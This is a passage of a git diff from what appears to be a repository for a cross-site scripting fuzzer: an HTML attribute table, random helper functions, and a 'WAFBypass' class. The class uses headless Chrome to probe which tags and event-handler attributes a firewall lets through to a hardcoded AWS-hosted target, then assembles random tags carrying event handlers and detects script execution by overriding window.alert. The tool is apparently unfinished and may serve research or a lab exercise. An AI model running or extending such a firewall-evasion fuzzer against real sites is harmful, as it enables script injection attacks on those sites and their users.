HTMLAttribute('required', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('size', HTMLTagAttributeType.TypeNumber),
|
||||
],
|
||||
'small': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'source': [
|
||||
HTMLAttribute('media', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('sizes', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('src', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('srcset', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'span': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'strike': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'strong': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'style': [
|
||||
HTMLAttribute('media', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('nonce', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'sub': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'sup': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'table': [
|
||||
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor),
|
||||
HTMLAttribute('border', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('cellpadding', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('cellspacing', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('frame', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('rules', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('summary', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
|
||||
],
|
||||
'tbody': [
|
||||
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('char', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('charoff', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('valign', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor),
|
||||
],
|
||||
|
||||
'td': [
|
||||
HTMLAttribute('abbr', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('axis', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor),
|
||||
HTMLAttribute('char', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('charoff', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('colspan', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('headers', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('height', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('nowrap', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('rowspan', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('scope', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('valign', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
|
||||
],
|
||||
'template': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'textarea': [
|
||||
HTMLAttribute('autocomplete', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('autofocus', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('cols', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('dirname', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('form', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('maxlength', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('minlength', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('placeholder', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('readonly', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('required', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('rows', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('wrap', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'tfoot': [
|
||||
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor),
|
||||
HTMLAttribute('char', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('charoff', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('valign', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'th': [
|
||||
HTMLAttribute('abbr', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('axis', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor),
|
||||
HTMLAttribute('char', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('charoff', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('colspan', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('headers', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('height', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('nowrap', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('rowspan', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('scope', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('valign', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
|
||||
],
|
||||
|
||||
'thead': [
|
||||
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor),
|
||||
HTMLAttribute('char', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('charoff', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('valign', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'time': [
|
||||
HTMLAttribute('datetime', HTMLTagAttributeType.TypeDate),
|
||||
],
|
||||
'title': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'tr': [
|
||||
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor),
|
||||
HTMLAttribute('char', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('charoff', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('valign', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'track': [
|
||||
HTMLAttribute('default', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('kind', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('label', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('src', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('srclang', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'tt': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'u': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'ul': [
|
||||
HTMLAttribute('compact', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'var': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'video': [
|
||||
HTMLAttribute('autoplay', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('controls', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('crossorigin', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('height', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('loop', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('muted', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('playsinline', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('poster', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('preload', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('src', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
|
||||
],
|
||||
|
||||
'wbr': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'xmp': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'xml': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'xsl': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'svg': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('xmlns', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('xmlns:xlink', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('xmlns:xml', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('xmlns:xsl', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('xmlns:xhtml', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('xmlns:ev', HTMLTagAttributeType.TypeURL),
|
||||
],
|
||||
}
|
||||
|
45
utils.py
Normal file
45
utils.py
Normal file
@ -0,0 +1,45 @@
|
||||
import random
|
||||
import time
|
||||
|
||||
|
||||
def rndstr(length):
|
||||
return ''.join(random.choice('0123456789abcdef') for i in range(length))
|
||||
|
||||
|
||||
def choice(arr):
|
||||
return random.choice(arr)
|
||||
|
||||
|
||||
def rndunicode():
|
||||
return chr(random.randint(0, 0x10FFFF))
|
||||
|
||||
|
||||
def choice_percent(elements):
|
||||
# elements is a dict of {percent: action}
|
||||
# like following:
|
||||
# elements = {
|
||||
# 10: lambda: 'a',
|
||||
# 20: lambda: 'b',
|
||||
# 30: lambda: 'c',
|
||||
# 40: lambda: 'd',
|
||||
# }
|
||||
# that means we have 10% chance to get 'a', 20% chance to get 'b', etc.
|
||||
|
||||
# get total percent
|
||||
total_percent = 0
|
||||
for percent in elements:
|
||||
total_percent += percent
|
||||
|
||||
# get random number
|
||||
random.seed(int(time.time() * 1000))
|
||||
rnd = random.randint(0, total_percent)
|
||||
|
||||
# get action
|
||||
for percent in elements:
|
||||
if rnd < percent:
|
||||
return elements[percent]
|
||||
else:
|
||||
rnd -= percent
|
||||
|
||||
# should not reach here
|
||||
return None
|
121
xzzuf.py
121
xzzuf.py
@ -5,19 +5,13 @@ from selenium import webdriver
|
||||
from selenium.webdriver.support.ui import WebDriverWait
|
||||
from urllib.parse import urlparse
|
||||
from urllib.parse import urlencode
|
||||
|
||||
from tags import Attributes
|
||||
from language import HTMLTag, HTMLAttribute, HTMLTagAttributeType
|
||||
from tags import GlobalAttributes, EventsAttributes, TagSpecificAttributes, Tags
|
||||
from mutations import Mutations
|
||||
from utils import choice
|
||||
|
||||
# WAFBypass class
|
||||
|
||||
from language import HTMLTag, HTMLAttribute, HTMLTagAttributeType
|
||||
|
||||
t = HTMLTag("form")
|
||||
i = HTMLTag("input", self_closing=True)
|
||||
i.attributes.append(HTMLAttribute("type", HTMLTagAttributeType.TypeText))
|
||||
t.children.append(i)
|
||||
print(t)
|
||||
|
||||
|
||||
class WAFBypass():
|
||||
code = "window.alert_trigger = false;window.alert = function() {window.alert_trigger = true;}"
|
||||
@ -26,8 +20,11 @@ class WAFBypass():
|
||||
self.options = webdriver.ChromeOptions()
|
||||
self.options.add_argument('--no-sandbox')
|
||||
self.options.add_argument('--headless')
|
||||
self.unfiltered_attributes = {}
|
||||
self.unfiltered_tags = []
|
||||
self.driver = webdriver.Chrome(options=self.options)
|
||||
self.url = urlparse(url)
|
||||
self.mutator = Mutations()
|
||||
|
||||
if not self.check_connection():
|
||||
raise Exception("Connection Error")
|
||||
@ -75,20 +72,110 @@ class WAFBypass():
|
||||
|
||||
return (is403, triggerxss)
|
||||
|
||||
def run_fuzz(self):
|
||||
def identify_unfiltered_attributes(self):
|
||||
try:
|
||||
for attr in Attributes:
|
||||
# print(f"[*] Testing {attr.name} attribute {attr}")
|
||||
self.unfiltered_attributes["global"] = []
|
||||
self.unfiltered_attributes["events"] = []
|
||||
self.unfiltered_attributes["tag_specific"] = {}
|
||||
|
||||
for attr in GlobalAttributes:
|
||||
encoded = urlencode({"param2": f"{attr}"})
|
||||
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
|
||||
# print(url)
|
||||
is403, trigger = self.navigate(url)
|
||||
is403, _ = self.navigate(url)
|
||||
if not is403:
|
||||
print(f"[+] {attr.name} attribute is not filtered")
|
||||
self.unfiltered_attributes["global"].append(attr)
|
||||
|
||||
for attr in EventsAttributes:
|
||||
encoded = urlencode({"param2": f"{attr}"})
|
||||
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
|
||||
is403, _ = self.navigate(url)
|
||||
if not is403:
|
||||
self.unfiltered_attributes["events"].append(attr)
|
||||
|
||||
for tag in self.unfiltered_tags:
|
||||
try:
|
||||
for attr in TagSpecificAttributes[tag.name]:
|
||||
if tag not in self.unfiltered_attributes["tag_specific"]:
|
||||
self.unfiltered_attributes["tag_specific"][tag.name] = [
|
||||
]
|
||||
encoded = urlencode(
|
||||
{"param2": f"<{tag.name} {attr}/>"})
|
||||
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
|
||||
is403, _ = self.navigate(url)
|
||||
if not is403:
|
||||
self.unfiltered_attributes["tag_specific"][tag.name].append(
|
||||
attr)
|
||||
except KeyError:
|
||||
print(f"Tag {tag.name} not found in TagSpecificAttributes")
|
||||
except KeyboardInterrupt:
|
||||
self.driver.close()
|
||||
exit(0)
|
||||
|
||||
def identify_unfiltered_tags(self):
|
||||
try:
|
||||
for tag in Tags:
|
||||
encoded = urlencode({"param2": f"{tag}"})
|
||||
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
|
||||
is403, _ = self.navigate(url)
|
||||
if not is403:
|
||||
self.unfiltered_tags.append(tag)
|
||||
except KeyboardInterrupt:
|
||||
self.driver.close()
|
||||
exit(0)
|
||||
|
||||
def dry_run(self):
|
||||
try:
|
||||
self.identify_unfiltered_tags()
|
||||
self.identify_unfiltered_attributes()
|
||||
for tag in self.unfiltered_tags:
|
||||
tag.set_mutator(self.mutator)
|
||||
except Exception as e:
|
||||
raise Exception(f"Dry Run Error: {e}")
|
||||
|
||||
def run_fuzz(self):
|
||||
self.dry_run()
|
||||
|
||||
def test(self):
|
||||
try:
|
||||
self.dry_run()
|
||||
print("Unfiltered Tags:")
|
||||
for tag in self.unfiltered_tags:
|
||||
print(tag.name)
|
||||
for _ in range(0, 10):
|
||||
tag = choice(self.unfiltered_tags)
|
||||
|
||||
tag.attributes = []
|
||||
tag.children = []
|
||||
|
||||
nglobattr = choice(range(1, 3))
|
||||
nattr = choice(range(0, 3))
|
||||
|
||||
globals = self.unfiltered_attributes["global"]
|
||||
|
||||
for _ in range(0, nglobattr):
|
||||
if len(globals) == 0:
|
||||
break
|
||||
attr = choice(globals)
|
||||
globals.remove(attr)
|
||||
tag.add_attribute(attr)
|
||||
|
||||
tag.add_attribute(choice(self.unfiltered_attributes["events"]))
|
||||
|
||||
tag_specific = self.unfiltered_attributes["tag_specific"][tag.name]
|
||||
|
||||
for _ in range(0, nattr):
|
||||
if len(tag_specific) == 0:
|
||||
break
|
||||
attr = choice(tag_specific)
|
||||
tag_specific.remove(attr)
|
||||
tag.add_attribute(attr)
|
||||
|
||||
print(tag)
|
||||
|
||||
except KeyboardInterrupt:
|
||||
self.driver.close()
|
||||
exit(0)
|
||||
|
||||
|
||||
w = WAFBypass("http://aws-wafbypass-lb-311079289.eu-south-1.elb.amazonaws.com")
|
||||
w.run_fuzz()
|
||||
w.test()
|
||||
|
Loading…
Reference in New Issue
Block a user